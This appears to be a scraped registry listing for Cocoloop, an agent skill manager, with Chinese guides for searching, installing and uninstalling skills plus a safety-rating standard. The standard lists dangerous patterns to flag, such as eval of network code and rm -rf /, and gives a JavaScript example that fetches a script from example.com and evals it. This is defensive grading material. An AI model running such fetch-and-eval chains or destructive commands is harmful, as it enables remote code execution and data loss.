搜索\n\n### 目标\n\n在官方搜索的同时，扫描本机已知 Agent 的 Skill 目录，看看是否已经存在可移植的 Skill。\n\n### 扫描范围\n\n- `.opencode/skills`\n- `~/.config/opencode/skills`\n- `.agents/skills`\n- `~/.agents/skills`\n- `.claude/skills`\n- `~/.claude/skills`\n- `skills`\n- `~/.openclaw/skills`\n- `~/.molili/workspaces/default/active_skills`\n\n### 命中后怎么做\n\n1. CLI 输出本地候选\n2. CLI 标记 `LOCAL_MIGRATION_AVAILABLE: yes`\n3. Agent 或用户确认是否把本地 Skill 移植到当前环境\n4. 没有确认前，不直接执行移植\n\n## 第二层：ClawHub\n\n### 目标\n\n优先利用 ClawHub 的已有分发能力，但不要把“命令执行成功”当成搜索结束。只有确认真实安装结果或拿到文件，才算完成。\n\n这一层开始已经属于 Agent 探索范围，不是 `cocoloop search` 的职责。\n\n### 可选原生命令\n\n```bash\nnpx clawhub@latest install <skill-name>\n```\n\n### 处理原则\n\n1. 原生命令成功后，继续检查写入目录\n2. 如果写入目录兼容当前 Agent 平台，直接记录结果\n3. 如果不兼容，继续定位它下载的实际文件，再做手动安装\n4. 如果原生命令失败，再进入下一层\n\n## 第三层：skills.sh\n\n### 目标\n\n把 skills.sh 当作“线索源”和“兼容安装器”两种能力来用：\n\n- 找仓库\n- 找 skill 名称\n- 找下载或安装命令\n\n### 常见命令示范\n\n```bash\nnpx skills add https://github.com/owner/repo --skill <skill-name>\n```\n\n### 处理原则\n\n1. 如果 skills.sh 页面给出仓库地址，优先拿仓库\n2. 如果直接完成安装，继续核对真实安装路径\n3. 如果它写入的是社区兼容目录，例如 `~/.codex/skills/`，要明确告诉用户\n\n## 第四层：GitHub\n\n### 搜索目标\n\n优先寻找满足下面条件的仓库：\n\n1. 包含 `SKILL.md`\n2. 仓库名或描述和查询词相关\n3. 最近仍有更新\n4. 组织账号优先\n\n### 搜索思路\n\n```text\n{query} SKILL.md\n{query} \"agents/openai.yaml\"\n{query} \"skills\"\n```\n\n### 下载策略\n\n1. 仓库根目录就是 skill 根目录时，可以作为已知 source 交给 `install`\n2. 仓库里有多个 skill 时，当前 `install` 会返回 `review-required`\n3. 只有用户或 Agent 明确指定 `--skills` 或 `--all`，才继续安装\n4. 下载后一定要确认根目录里有 `SKILL.md`\n\n## 第五层：自由探索\n\n当前四层都失败时，再进入自由探索。\n\n### 可探索目标\n\n- 官方文档站\n- 博客文章\n- 发布页\n- release 资产\n- 搜索引擎结果页\n\n### 判定标准\n\n只有拿到这些东西之一，才算探索成功：\n\n- skill 目录\n- 压缩包\n- 仓库地址\n- 可以验证真实落点的原生安装结果\n\n这一层完全由 Agent 负责，CLI 不自动解析文章页、说明页或下载按钮。\n\n## 结果去重与排序\n\n来自不同来源的候选结果，按下面顺序排序：\n\n1. CocoLoop 命中\n2. 官方或组织账号来源\n3. 近期更新\n4. 下载量 / stars 更高\n5. 描述更贴近查询词\n\n去重规则：\n\n1. 同一个 GitHub 仓库只保留一条主结果\n2. CocoLoop 和 GitHub 指向同一仓库时，保留 CocoLoop 结果作为主入口\n3. skills.sh 和 ClawHub 如果都只是转向同一仓库，保留更直接的文件来源\n\n## 搜到之后的统一出口\n\n无论搜索命中哪一层，最终都要把结果转成下面三种之一：\n\n1. skill 目录\n2. 压缩包\n3. 已验证路径的原生安装结果\n\n前两种进入手动安装流程，第三种进入安装后校验。\n\n当前推荐执行顺序：\n\n1. 先调用 `cocoloop search --query ...`\n2. 一次性读取官方结果、本地已知 Agent 结果和状态字段\n3. 如果本地已知 Agent 已有候选，先确认是否移植\n4. 如果是官方候选集合，由 Agent 或用户先明确要装哪一个或哪几个\n5. 由 Agent 选择是否继续 `inspect`\n6. 由 Agent 决定是否继续 ClawHub、skills.sh、GitHub 或自由探索\n7. 当 source 已明确，再调用 `install`\n\n## 本地缓存\n\n如果需要缓存搜索结果，建议写到：\n\n```text\n~/.cocoloop/cache/search.json\n```\n\n缓存建议字段：\n\n```json\n{\n  \"query\": \"rsshub\",\n  \"source\": \"cocoloop\",\n  \"timestamp\": \"2026-04-02T10:00:00Z\",\n  \"results\": []\n}\n```\n\n缓存只用来提速，不替代实时搜索。用户明确要求最新结果时，应绕过缓存。\n\n## 错误处理\n\n| 场景 | 处理方式 |\n| --- | --- |\n| CocoLoop API 超时 | 交给 Agent 继续下一层 |\n| ClawHub 命令失败 | 继续尝试 skills.sh |\n| skills.sh 页面只给演示信息 | 继续提取仓库或下载链接 |\n| GitHub API 限流 | 降级到页面解析或其他来源 |\n| 所有来源都失败 | 明确告诉用户未找到可安装文件，而不是只说“搜索失败” |\n\nFile v0.5.0:references/uninstall-guide.md\n\n# Skill 卸载流程详细指南\n\n卸载流程要和新的安装逻辑保持一致。重点不是只删一个固定目录，而是先找到 skill 真正装在哪，再删那一份。\n\n## 第一步：定位当前平台\n\n先沿用安装阶段的同一套平台判断逻辑。\n\n### Codex\n\n候选目录：\n\n- `.agents/skills/<skill-name>/`\n- `~/.agents/skills/<skill-name>/`\n- `~/.codex/skills/<skill-name>/`\n\n相关配置：\n\n- `~/.codex/config.toml`\n\n### Claude Code\n\n候选目录：\n\n- `.claude/skills/<skill-name>/`\n- `~/.claude/skills/<skill-name>/`\n\n相关配置：\n\n- `.claude/settings.json`\n- `.claude/settings.local.json`\n- `~/.claude/settings.json`\n\n### OpenClaw\n\n候选目录：\n\n- `skills/<skill-name>/`\n- `.agents/skills/<skill-name>/`\n- `~/.agents/skills/<skill-name>/`\n- `~/.openclaw/skills/<skill-name>/`\n\n相关配置：\n\n- `~/.openclaw/openclaw.json`\n\n## 第二步：确认 skill 是否存在\n\n检查候选目录时，至少确认：\n\n1. 目录存在\n2. 目录内有 `SKILL.md`\n3. frontmatter 的 `name` 与目标 skill 一致，或目录名一致\n\n如果同名 skill 同时存在多份：\n\n1. 列出全部路径\n2. 让用户确认删哪一份\n3. 如果用户说“全部卸载”，再逐个删除\n\n## 第三步：请求确认\n\n建议展示这些信息：\n\n```text\n即将卸载以下 skill\n名称: cocoloop\n平台: Codex\n路径: /absolute/path/to/skill\n范围: 项目级 / 用户级\n```\n\n如果用户要求强制卸载，可以跳过确认。\n\n## 第四步：执行卸载\n\n处理顺序：\n\n1. 删除目标 skill 目录\n2. 如果该路径在平台配置里被显式引用，提示用户同步清理\n3. 清理 Cocoloop 自己的缓存记录\n\n### Codex 额外检查\n\n如果 `~/.codex/config.toml` 里存在指向该 skill 的 `[[skills.config]]` 条目：\n\n- 删除对应条目\n- 或提示用户手动清理\n\n### Claude Code 额外检查\n\nClaude Code 通常不需要单独维护 skill 注册表，但如果团队把相关说明写进 `.claude/settings.json` 或本地说明文档里，也要提醒用户同步更新。\n\n### OpenClaw 额外检查\n\n如果 `~/.openclaw/openclaw.json` 的 `skills.load.extraDirs` 里还保留了一个已经废弃的个人 skill 目录，可以提醒用户继续保留或清理。\n\n## 第五步：验证卸载结果\n\n至少检查三件事：\n\n1. 目录已经不存在\n2. 不会再从同一路径读到 `SKILL.md`\n3. 如果平台有显式路径配置，该配置已移除或已提醒用户处理\n\n## 批量卸载\n\n批量卸载时，把每个 skill 当成独立任务处理：\n\n1. 定位\n2. 确认\n3. 删除\n4. 汇总结果\n\n如果一个 skill 卸载失败，不影响其他 skill 继续处理。\n\n## 可选备份\n\n如果用户担心误删，可以先备份：\n\n```text\n~/.cocoloop/backups/<skill-name>-<timestamp>.tar.gz\n```\n\n建议在下面几种情况下优先备份：\n\n- 用户级 skill 将被覆盖或删除\n- skill 来源已经不可访问\n- 该 skill 带脚本或自定义资源较多\n\n## 恢复思路\n\n如果用户想恢复：\n\n1. 查找备份压缩包\n2. 解压到原来的目标目录\n3. 重新执行一次安装后校验\n\n## 错误处理\n\n| 场景 | 处理方式 |\n| --- | --- |\n| 找不到 skill | 列出候选目录并说明未命中 |\n| 权限不足 | 改为删除用户级目录，或提示用户提升权限 |\n| 同名 skill 有多份 | 先列出路径，不要擅自全删 |\n| 目录删掉了但配置仍引用 | 明确提醒用户还有残留配置 |\n\nFile v0.5.0:skill-card.md\n\n## Description:\n\nCocoLoop helps agents search, download, install, update, uninstall, and safety-check skills across supported agent platforms.\n\nThis skill is ready for commercial/non-commercial use.\n\n## Publisher:\n\n[catrefuse](https://clawhub.ai/user/catrefuse)\n\n### License/Terms of Use:\n\nMIT-0\n\n## Use Case:\n\nDevelopers and agent users use CocoLoop to locate, evaluate, install, update, uninstall, and safety-check skills for Codex, Claude Code, OpenClaw, OpenCode, and related agent environments.\n\n### Deployment Geography for Use:\n\nGlobal\n\n## Known Risks and Mitigations:\n\nRisk: The installer can download remote skill packages and write them into directories loaded by agent platforms.\n\nMitigation: Install only from trusted or reviewed sources, inspect the selected skill before installation, and run the provided safety-check workflow for unfamiliar sources.\n\nRisk: Forced install or uninstall paths can overwrite or delete local skill directories.\n\nMitigation: Check resolved destination paths before using force options, keep backups for important local skills, and confirm the target when multiple installations exist.\n\nRisk: SafeScan operations may upload local files or paths to the configured scanning service.\n\nMitigation: Do not scan sensitive files unless upload is intended, and review the selected scan target before submitting it.\n\n## Reference(s):\n\n- [CocoLoop ClawHub listing](https://clawhub.ai/catrefuse/skills/cocoloop)\n- [README](README.md)\n- [Installation guide](references/install-guide.md)\n- [Search guide](references/search-guide.md)\n- [Operations manual](references/operations-manual.md)\n- [Uninstall guide](references/uninstall-guide.md)\n- [Safety check guide](references/safety-check-guide.md)\n- [CocoLoop Safe Check standard](references/cocoloop-safe-check.md)\n\n## Skill Output:\n\n**Output Type(s):** [text, markdown, shell commands, configuration, guidance]\n\n**Output Format:** [Markdown and terminal-oriented text with shell commands, paths, and configuration snippets]\n\n**Output Parameters:** [1D]\n\n**Other Properties Related to Output:** [May direct the agent to call bundled shell wrappers for search, inspect, install, update, uninstall, featured recommendations, health checks, and SafeScan operations.]\n\n## Skill Version(s):\n\n0.5.0 (source: ClawHub release evidence; artifact frontmatter reports 0.5)\n\n## Ethical Considerations:\n\nUsers should evaluate whether this skill is appropriate for their environment, review any generated or modified files before relying on them, and apply their organization's safety, security, and compliance requirements before deployment.\n\nFile v0.5.0:agents/openai.yaml\n\ninterface:\n  display_name: \"Cocoloop\"\n  short_description: \"一个更快速、更安全的 Skill 管理器，用于搜索、下载、安装、更新、卸载和检查 Skills。优先使用 CocoLoop 搜索 API 获取 skill 文件；搜不到时继续在 ClawHub、skills.sh、GitHub 和公开网页中寻找可安装文件，并按当前 Agent 平台写入正确目录。\"\n  default_prompt: \"Use $cocoloop to help with this task.\"\n\npolicy:\n  allow_implicit_invocation: true","readmeExcerpt":"Skill: CocoLoop Owner: catrefuse Summary: 一个更快速、更安全的 Skill 管理器，用于搜索、下载、安装、更新、卸载和检查 Skills。优先使用 CocoLoop 搜索 API 获取 skill 文件；搜不到时继续在 ClawHub、skills.sh、GitHub 和公开网页中寻找可安装文件，并按当前 Agent 平台写入正确目录。 Tags: latest:0.5.0 Version history: v0.5.0 | 2026-04-16T05:36:57.028Z | user Cocoloop v0.5.0 - 全面重写项目文档，明确 CLI 与 Agent 的边界与职责分工 - 优化 skill 搜索与安装流程，CLI 只处理 API/network 操作，搜索策略和复杂编排交由 Agent 自主完成 - 明确多平台 skill 安装目录选择和软链接策略 - 新增主站分类与","codeSnippets":[],"executableExamples":[{"language":"bash","snippet":"curl -L \"https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads\""},{"language":"bash","snippet":"curl -L \"https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=${KEYWORD}&sort=downloads\""},{"language":"toml","snippet":"[[skills.config]]\npath = \"/Users/you/.agents/skills/cocoloop/SKILL.md\"\nenabled = false"},{"language":"json","snippet":"{\n  \"skills\": {\n    \"load\": {\n      \"extraDirs\": [\n        \"/Users/you/.agents/skills\",\n        \"/Users/you/.openclaw/skills\"\n      ]\n    }\n  }\n}"},{"language":"bash","snippet":"npx clawhub@latest install <skill-name>"},{"language":"bash","snippet":"npx skills add https://github.com/owner/repo --skill <skill-name>"}],"parameters":null,"dependencies":[],"permissions":[],"extractedFiles":[{"path":"SKILL.md","content":"---\nname: cocoloop\nversion: 0.5\ndescription: 一个更快速、更安全的 Skill 管理器。CLI 只负责网络 API wrapper 和已知安装流程 wrapper；搜索判断、fallback 探索和复杂编排由 Agent 自己完成。\n---\n\n# Cocoloop Skill 管理器\n\nCocoloop 的目标很直接：先找到 skill 文件，再把它安装到当前 Agent 平台真正会读取的位置。搜索和安装是两段流程，来源可以变，落盘和校验流程保持一致。\n\n## 核心原则\n\n1. 先识别当前 Agent 平台，再决定安装目录和安装方式。\n2. 搜索优先级固定为 `CocoLoop API -> ClawHub -> skills.sh -> GitHub -> 自由探索`。\n3. 只要拿到 skill 文件或 skill 目录，就统一进入“标准化 -> 安装 -> 校验”流程。\n4. 尽量保留原始目录结构：`SKILL.md`、`scripts/`、`references/`、`assets/`、`agents/`。\n5. 来源越陌生，越要主动提醒用户执行 CLS 安全检查。\n6. 默认先把 skill 内容安装到 `~/.cocoloop/skills/`，再通过软链接发布到目标平台目录；只有当前平台确实不支持软链接时，才退回复制。\n\n## CLI 与 Agent 的分工\n\n先把边界守住，再开始安装。\n\n### CLI 只做两类事\n\n1. 网络 API wrapper\n2. 已知安装流程 wrapper\n\n当前可以直接信任 CLI 的动作：\n\n- `cocoloop search --query ...`\n- `cocoloop featured`\n- `cocoloop featured --categories`\n- `cocoloop featured --category ...`\n- `cocoloop inspect ...`\n- `cocoloop paths`\n- `cocoloop healthcheck`\n- `cocoloop safescan ...`\n- `cocoloop install ...`\n- `cocoloop uninstall ...`\n- `cocoloop update ...`\n\n### Agent 负责粘合\n\n下面这些都不要交给 CLI 自己做判断：\n\n1. 搜索结果里哪一个才是用户真正想装的 skill\n2. 官方没命中后要不要继续 fallback\n3. 页面链接、GitHub 子目录、说明页、文章页该怎么继续追 source\n4. 已知安装流程失败后怎么改走手工探索\n5. 什么时候该让用户确认，什么时候可以直接继续\n6. 当前环境不在已知平台名单里时，如何先确认正确安装方式和正确配置方法\n\n### 推荐执行顺序\n\n1. 先用 `search` 一次性读取官方结果和本地已知 Agent 结果\n2. 如果本地已知 Agent 已经存在候选，先询问用户是否要移植到当前环境\n3. 如果返回 `review-required` 或 `no-results`，由 Agent 判断或询问用户\n4. 当 Agent 已经拿到明确 source，再决定要不要调用 `install`\n5. 如果 `install` 返回 `handoff-to-agent`，说明 CLI 不该继续猜，Agent 需要自己完成后续探索和安装\n6. 安装完成后，提醒用户立即测试 skill 是否能被当前 Agent 正确发现和调用\n\n### 首次安装 Cocoloop 后的下一步引导\n\n如果刚刚安装完成的是 `cocoloop` 自己，而且用户看起来是第一次在当前 Agent 环境里安装或启用 Cocoloop，不要只停在“请测试是否可用”。\n\n这时追加一步轻量询问：\n\n- 先提醒用户做一次实际调用测试\n- 再询问用户现在要不要看主站热门 skill 推荐\n\n推荐问法：\n\n`如果你愿意，我也可以现在顺手给你看一组主站热门 skill 推荐，帮你继续补齐常用能力。`\n\n如果用户同意，再调用：\n\n- `bash scripts/cocoloop.sh featured`\n- 需要分类时，再调用 `bash scripts/cocoloop.sh featured --categories`\n\n如果用户暂时不需要，不继续主动展开推荐列表。\n\n## 主站精选推荐路由\n\n当用户意图是看主站当前推荐技能，而不是按名字搜索时，优先走独立精选入口：\n\n- 用户想看“主站最新推荐 skill”“精选推荐”“首页推荐 skill”时，调用 `bash scripts/cocoloop.sh featured`\n- 用户想看“推荐分类”“精选分类”时，调用 `bash scripts/cocoloop.sh featured --categories`\n- 用户已经拿到分类名，还想继续看“这个分类下面有哪些精选 skill”时，调用 `bash scripts/cocoloop.sh featured --category \"<分类>\"`\n\n这个入口只做官方接口 wrapper 和结果展示，不负责替用户做安装判断。需要继续查看详情、比较候选或安装时，再由 Agent 决定是否调用 `inspect`、`search` 或 `install`\n\n## 平台检测与安装目的地\n\n先判断当前环境更接近哪个 Agent 生态，再选择项目级安装或用户级安装。\n\n| 平台 | 项目级目录 | 用户级目录 | 兼容目录 | 配置示范 |\n| --- | --- | --- | --- | --- |\n| OpenCode | `.opencode/skills/<skill-name>/` | `~/.config/opencode/skills/<skill-name>/` | `.claude/skills/<skill-name>/`、`.agents/skills/<skill-name>/` 也可被 OpenCode 发现 | `opencode.json` / `~/.config/opencode/opencode.json` |\n| Codex | `.agents/skills/<skill-name>/` | `$HOME/.agents/skills/<skill-name>/` | `$HOME/.codex/skills/<skill-name>/` | `~/.codex/config.toml` |\n| Claude Code | `.claude/skills/<skill-name>/` | `~/.claude/skills/<skill-name>/` | 无必需兼容目录 | `~/.claude/settings.json` / `.claude/settings.json` |\n| OpenClaw | `skills/<skill-name>/` 或 `.agents/skills/<skill-name>/` | `~/"},{"path":"README.md","content":"# Cocoloop\n\n一个更快、更稳、更偏安全的 Skill 管理器，用来搜索、下载、安装、更新、卸载和检查 Skills。\n\n## 当前命令\n\n- `cocoloop search --query <关键词>`：搜索官方商店和本地已知 Agent 目录\n- `cocoloop featured`：读取主站当前精选推荐技能\n- `cocoloop featured --categories`：读取主站当前精选推荐分类\n- `cocoloop featured --category \"<分类>\"`：读取指定分类下的精选推荐技能\n- `cocoloop inspect <skill>`：查看技能详情\n- `cocoloop install <skill-or-source>`：安装技能\n- `cocoloop update <skill>`：更新技能\n- `cocoloop uninstall <skill>`：卸载技能\n\n## 它解决什么问题\n\n很多 Skill 安装流程停在“找到仓库”这一步。Cocoloop 继续往下做两件事：\n\n1. 先从合适的来源把 skill 文件拿回来。\n2. 再按当前 Agent 平台写到真正会被读取的目录里。\n\n## 当前安装逻辑\n\n### 搜索顺序\n\n1. CocoLoop 搜索 API\n2. ClawHub\n3. skills.sh\n4. GitHub\n5. 自由探索\n\n只要拿到 skill 文件、压缩包或仓库目录，就统一进入同一套安装流程。\n\n### 统一安装流程\n\n1. 识别当前 Agent 平台\n2. 获取 skill 文件或 skill 目录\n3. 标准化成包含 `SKILL.md` 的根目录\n4. 按平台选择目标目录\n5. 复制并保留 `scripts/`、`references/`、`assets/`、`agents/`\n6. 校验安装结果\n\n## 支持的平台\n\n| 平台 | 项目级目录 | 用户级目录 | 兼容目录 |\n| --- | --- | --- | --- |\n| Codex | `.agents/skills/` | `~/.agents/skills/` | `~/.codex/skills/` |\n| Claude Code | `.claude/skills/` | `~/.claude/skills/` | 无 |\n| OpenClaw | `skills/` 或 `.agents/skills/` | `~/.agents/skills/` 或 `~/.openclaw/skills/` | `~/.openclaw/skills/` |\n\n## 平台配置示范\n\n### Codex\n\n```toml\n[[skills.config]]\npath = \"/Users/you/.agents/skills/cocoloop/SKILL.md\"\nenabled = false\n```\n\n### OpenClaw\n\n```json\n{\n  \"skills\": {\n    \"load\": {\n      \"extraDirs\": [\n        \"/Users/you/.agents/skills\",\n        \"/Users/you/.openclaw/skills\"\n      ]\n    }\n  }\n}\n```\n\nClaude Code 的 skill 发现主要依赖目录本身，常见做法是直接写入 `.claude/skills/` 或 `~/.claude/skills/`，需要共享额外设置时再配合 `.claude/settings.json`。\n\n## 搜索来源示范\n\n### CocoLoop API\n\n```bash\ncurl -L \"https://api.cocoloop.com/api/v1/store/skills?page=1&page_size=10&keyword=rsshub&sort=downloads\"\n```\n\n### 主站精选推荐\n\n```bash\nbash scripts/cocoloop.sh featured\nbash scripts/cocoloop.sh featured --categories\nbash scripts/cocoloop.sh featured --category \"技术开发\"\n```\n\n这个入口只负责读取主站最新精选推荐、分类列表和指定分类下的精选技能。后续是否查看详情、比较候选或继续安装，仍由 Agent 决定。\n\n### ClawHub\n\n```bash\nnpx clawhub@latest install rsshub\n```\n\n### skills.sh\n\n```bash\nnpx skills add https://github.com/owner/repo --skill rsshub\n```\n\n这些原生命令只在它们和当前 Agent 平台兼容时优先使用。否则还是回到 Cocoloop 的标准化落盘流程。\n\n## 安全检查\n\nCocoloop 集成了 CLS 风格的安全检查流程，评级标准为 `S+ / S / A / B / C / D`。\n\n重点检查：\n\n- 危险代码执行\n- 敏感信息处理\n- 动态下载与动态执行\n- 多层 URL 加载\n- 来源可信度\n\n## 文档\n\n- [Skill 定义文件](SKILL.md)\n- [安装流程指南](references/install-guide.md)\n- [搜索流程指南](references/search-guide.md)\n- [卸载流程指南](references/uninstall-guide.md)\n- [安全检查流程指南](references/safety-check-guide.md)\n- [Cocoloop Safe Check 标准](references/cocoloop-safe-check.md)"},{"path":"_meta.json","content":"{\n  \"ownerId\": \"kn7321f2eb2fe8ec4y8n87j8k584hg4c\",\n  \"slug\": \"cocoloop\",\n  \"version\": \"0.5.0\",\n  \"publishedAt\": 1776317817028\n}"},{"path":"references/cocoloop-safe-check.md","content":"# Cocoloop Safe Check 安全检查标准\n\n本文件定义了 Cocoloop Skill 管理器的安全检查标准。\n\n## 评级标准\n\n### S+ 级\n- 通过人工验证\n- T1/T2 来源\n- 满足所有 S 级要求\n\n### S 级\n- T1/T2 来源\n- 代码安全规范\n- 依赖版本锁定\n- 无动态代码加载\n\n### A 级\n- 代码安全规范\n- 依赖版本锁定\n- 无动态代码加载\n- 允许 T3 来源\n\n### B 级\n- 无 C/D 级问题\n- 存在改进空间\n\n### C 级\n- 存在潜在安全漏洞\n- 硬编码敏感信息\n\n### D 级（一票否决）\n- 使用 eval() 执行不可信网络代码\n- 存在 SQL 注入、命令注入等明显漏洞\n- 未经确认上传本地文件到远程（T3 来源）\n- 执行 rm -rf / 等系统破坏性命令\n\n## 检查维度\n\n### 1. 代码安全性检查\n\n**D级触发项**：\n- 使用 `eval()` 执行不可信网络代码\n- 使用 `exec()`、`system()` 执行未过滤的用户输入\n- 存在 SQL 注入、命令注入、XSS 等明显漏洞\n- 存在已知的严重 CVE 漏洞\n\n**C级触发项**：\n- 存在潜在的安全漏洞（路径遍历、不安全的反序列化）\n- 硬编码敏感信息（密码、API Key、Token）\n\n### 2. 数据隐私性检查\n\n**D级触发项**：\n- 未经用户确认上传本地文件到远程（T3 来源）\n- 静默收集密码、密钥等敏感信息\n- 将敏感数据传输到未加密通道\n\n**C级触发项**：\n- 收集的数据超出功能说明范围\n- 未明确告知用户数据使用情况\n\n### 3. 执行安全性检查\n\n**D级触发项**：\n- 执行 `rm -rf /` 或类似系统破坏性命令\n- 无确认直接执行系统级危险操作\n- 修改系统关键配置且无备份机制\n\n**C级触发项**：\n- 危险操作缺乏二次确认\n- 关键操作无回滚机制\n\n### 4. 依赖可靠性检查\n\n检查 skill 是否加载动态代码：\n- 从网络下载并执行代码\n- 使用 `fetch` 或 `curl` 获取远程脚本并执行\n- 动态 `import()` 不可信来源的模块\n\n**URL 递归检查（最多 2 层）：**\n\n对动态加载的可执行文件进行递归检查：\n- **第 1 层**：Skill 代码中直接引用的动态 URL\n- **第 2 层**：第 1 层内容中引用的动态 URL\n- **超过 2 层**：发现第 3 层及以上动态加载 → **强制标记为 C 级**\n\n**评级规则**：\n| 动态加载层级 | 评级影响 |\n|-------------|---------|\n| 无动态加载 | 正常评级流程 |\n| 仅第 1 层 | 根据来源分级处理 |\n| 存在第 2 层 | 最高评级为 C 级 |\n| 第 2 层后仍有动态加载 | **强制 C 级** |\n\n**来源分级处理**：\n- T1 来源：可加载官方动态代码，放宽至 B 级要求\n- T2 来源：动态代码需来源验证，放宽至 C 级要求\n- T3 来源：严格禁止未经验证的动态代码加载\n\n**C 级触发场景（多层动态加载）：**\n```javascript\n// 示例：三层动态加载触发 C 级\n// Skill 代码 → 加载 loader.js → 加载 runtime.js → 加载 exec.js\nfetch('https://example.com/loader.js')      // 第 1 层\n  .then(r => eval(r.text()))\n  \n// loader.js 中：\nimport('https://cdn.com/runtime.js')         // 第 2 层\n\n// runtime.js 中：\nfetch('https://third.com/exec.js')           // 第 3 层 → C 级\n```\n\n### 5. 来源可信度评估\n\n**T1 - 官方/顶级来源**:\n- 知名大型技术公司（Google, Microsoft, OpenAI, Anthropic, Meta, AWS）\n- 顶级开源基金会（Apache, Linux 基金会）\n- 有官方代码签名\n\n**T2 - 可信组织来源**:\n- 有实名认证的组织账号\n- GitHub 组织账号（非个人）\n- Stars > 1000 或有良好声誉\n\n**T3 - 社区/个人来源**:\n- 个人开发者账号\n- 小型社区项目\n- 来源无法明确验证\n\n### 6. Markdown 内嵌代码检查\n\nSKILL.md 文件中的代码块也需要检查：\n\n**高风险代码块**：\n- 包含代码执行类危险函数（如 eval/exec）\n- 包含系统破坏性命令\n- 包含敏感信息（凭据/密钥）\n- 包含未经验证的网络下载执行\n\n**中风险代码块**：\n- 可执行的脚本代码\n- 包含网络请求或文件操作的代码\n\n**低风险代码块**：\n- 配置/数据文件示例\n- 代码片段演示（不完整）\n- 单行简单命令（无害）\n\n## 报告格式\n\n```markdown\n# Cocoloop Safe Check 安全认证报告\n\n## 基本信息\n- Skill 名称: [名称]\n- 来源: [GitHub 链接/本地路径]\n- 来源等级: [T1/T2/T3]\n\n## 评级结果\n评级: [S+/S/A/B/C/D]\n评价: [一句话评价]\n\n## 检查依据\n### 通过项\n- [检查项]\n\n### 注意事项\n- [注意事项]\n\n### 问题项\n- [问题项]\n\n## 详细检查结果\n[各维度详细检查结果]\n\n## 使用建议\n[推荐使用场景和安全使用指南]\n```\n\n## 快速检查清单\n\n- [ ] 无 eval/exec/system 等危险函数\n- [ ] 无硬编码敏感信息\n- [ ] 无 SQL/命令注入漏洞\n- [ ] 依赖版本已锁定\n- [ ] 无未经验证的动态代码加载\n- [ ] 来源可信（T1/T2 优先）\n- [ ] 有完善的输入验证\n- [ ] 错误处理不泄露敏感信息"},{"path":"references/install-guide.md","content":"# Skill 安装流程详细指南\n\n这份文档描述 Cocoloop 在“拿到文件之前”和“拿到文件之后”分别怎么做。当前版本里，CLI 只负责已知安装流程 wrapper；搜索判断、fallback 和开放式探索由 Agent 负责。\n\n当前默认安装策略：\n\n1. 真实 skill 内容先写入 `~/.cocoloop/skills/<skill-name>/`\n2. 再把目标平台目录发布成软链接\n3. 只有当前平台确实不支持软链接时，才退回复制\n4. 如果来源里存在多个 skill，先返回候选列表；只有用户或 Agent 明确指定后才继续安装\n\n## 总流程\n\n```text\n开始\n  ↓\n识别输入类型\n  ├── 直接文件 / URL\n  ├── skill 名称\n  ├── GitHub 链接 / 短链\n  └── 平台页面 / 文章页\n  ↓\n检测当前 Agent 平台\n  ↓\n按已知流程下载文件，或交给 Agent 继续探索\n  ↓\n整理出包含 SKILL.md 的 skill 根目录\n  ↓\n按平台选择目标目录\n  ↓\n复制目录并校验\n  ↓\n完成\n```\n\n## 第一步：检测当前平台\n\n安装前先判断当前任务更接近哪个 Agent 生态。\n判断顺序：\n\n1. 先看当前工作区里的平台信号\n2. 再看项目配置文件\n3. 最后才看 `HOME` 下的兼容目录\n\n这样可以避免同一个 `HOME` 里存在多个 Agent 目录时互相串扰。\n\n### Codex\n\n优先信号：\n\n- 仓库里已有 `.agents/skills/`\n- 当前文档和配置明显使用 `AGENTS.md`、`agents/openai.yaml`\n- 如果工作区没有更强信号，再看 `~/.agents/skills/`、`~/.codex/skills/`、`~/.codex/config.toml`\n\n推荐安装目录：\n\n- 项目级：`.agents/skills/<skill-name>/`\n- 用户级：`~/.agents/skills/<skill-name>/`\n- 兼容目录：`~/.codex/skills/<skill-name>/`\n\n配置示范：\n\n```toml\n[[skills.config]]\npath = \"/Users/you/.agents/skills/cocoloop/SKILL.md\"\nenabled = false\n```\n\n### Claude Code\n\n优先信号：\n\n- 仓库里已有 `.claude/skills/`\n- 当前工程使用 `CLAUDE.md` 或 `.claude/settings.json`\n- 如果工作区没有更强信号，再看 `~/.claude/skills/` 或 `~/.claude/settings.json`\n\n推荐安装目录：\n\n- 项目级：`.claude/skills/<skill-name>/`\n- 用户级：`~/.claude/skills/<skill-name>/`\n\n说明：\n\n- Claude Code 的 skill 发现主要依赖目录，不需要额外维护 skill 注册表。\n- 如果团队还要共享额外行为，再配合 `.claude/settings.json`。\n\n### OpenClaw\n\n优先信号：\n\n- 仓库里已有 `skills/` 或 `.agents/skills/`\n- 当前工程使用 `.openclaw/openclaw.json`\n- 如果工作区没有更强信号，再看 `~/.openclaw/skills/`、`~/.agents/skills/`、`~/.openclaw/openclaw.json`\n\n推荐安装目录：\n\n- 项目级：`skills/<skill-name>/` 或 `.agents/skills/<skill-name>/`\n- 用户级：`~/.agents/skills/<skill-name>/` 或 `~/.openclaw/skills/<skill-name>/`\n\n配置示范：\n\n```json\n{\n  \"skills\": {\n    \"load\": {\n      \"extraDirs\": [\n        \"/Users/you/.agents/skills\",\n        \"/Users/you/.openclaw/skills\"\n      ]\n    }\n  }\n}\n```\n\n### Molili\n\n优先信号：\n\n- 工作目录存在 `.molili/workspaces/default/active_skills/`\n- 如果工作区没有更强信号，再看 `~/.molili/workspaces/default/active_skills/`\n\n推荐安装目录：\n\n- 用户级：macOS / Linux 使用 `~/.molili/workspaces/default/active_skills/<skill-name>/`\n- Windows 使用 `\\\\.molili\\\\workspaces\\\\default\\\\active_skills\\\\<skill-name>\\\\`\n\n说明：\n\n- Molili 当前没有单独的项目级 skill 目录。\n- 已知安装动作就是把 skill 目录移动到 `active_skills`。\n- 这一步可以直接用 Bash 完成。\n\n### OpenCode\n\n优先信号：\n\n- 仓库里已有 `.opencode/skills/`\n- 项目根存在 `opencode.json` 或 `opencode.jsonc`\n- 环境变量存在 `OPENCODE_CONFIG_DIR` 或 `OPENCODE_CONFIG`\n- 用户目录存在 `~/.config/opencode/skills/`\n\n推荐安装目录：\n\n- 项目级：`.opencode/skills/<skill-name>/`\n- 用户级：`~/.config/opencode/skills/<skill-name>/`\n\n说明：\n\n- OpenCode 也会兼容发现 `.claude/skills/` 和 `.agents/skills/`\n- 但当前 Cocoloop 在 OpenCode 环境下优先写 OpenCode 自己的目录\n\n### 目录选择规则\n\n1. 